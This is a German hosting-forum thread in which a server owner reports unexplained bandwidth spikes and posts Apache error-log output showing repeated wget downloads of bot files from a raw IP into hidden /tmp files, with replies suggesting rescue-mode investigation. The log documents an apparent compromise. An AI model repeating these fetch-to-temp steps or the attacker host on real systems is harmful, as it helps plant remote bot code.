Hohe Bandbreitennutzung In Traffic

[forest]

Moin

Ich habe ein Problem mit einem meiner Server.

Seit 2 Wochen produziert dieser kurzweilig Bandbreiten auslastung von bis zu 10Mbit. Mein Serverbetreiber hat mich freundlich darauf hingewiesen das wenn das nicht aufhört sie mir den Server zu machen also habe ich mich mal auf die Suche begeben und bei einem entsprechendem Tag diese Meldung im Error Log des Apache:

04:49:46 (14.37 KB/s) - `/tmp/.aprVWpZPb' saved [18702/18702]

--04:49:46-- http://208.53.165.147/linuxdaybot.txt
=> `/tmp/.aprVWpZPb'
Connecting to 208.53.165.147:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18,702 [text/plain]

0K .......... ........ 100% 16.16 KB/s

04:49:49 (16.16 KB/s) - `/tmp/.aprVWpZPb' saved [18702/18702]

--04:49:49-- http://208.53.165.147/linuxdaybot.txt
=> `/tmp/.aprVWpZPb'
Connecting to 208.53.165.147:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18,702 [text/plain]

0K .......... ........ 100% 2.95 KB/s

04:49:56 (2.95 KB/s) - `/tmp/.aprVWpZPb' saved [18702/18702]

--04:49:56-- http://208.53.165.147/linuxdaybot.txt
=> `/tmp/.aprVWpZPb'
Connecting to 208.53.165.147:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18,702 [text/plain]

0K ........--04:52:06-- http://208.53.165.147/linuxday.txt
=> `/tmp/.aprVWpZPa'
Connecting to 208.53.165.147:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3,869 [text/plain]

0K ... 100% 9.93 KB/s

04:52:07 (9.93 KB/s) - `/tmp/.aprVWpZPa' saved [3869/3869]

Das sieht mir nicht wie eine typische Apache error Meldung aus und ich wollte ob da jemand was mit anfangen kann.

Greetz
Forest

[forest]

Nach einer Recherche im Web habe ich folgendes gefunden:

http://www.experts-exchange.com/Securit ... 75158.html

Wie kann ich jetzt aber herausfinden über welches Skript das kam.

Greetz
Forest

[timeless2]

Zuerst solltest du deinen Server mal im Rescue-Modus starten.

Wenn du Glück hast, findest du in deinen Logdateien Hinweise, aber wahrscheinlich wurde die Einträge gelöscht. Gegenfrage: Welche Skripts hattest du installiert?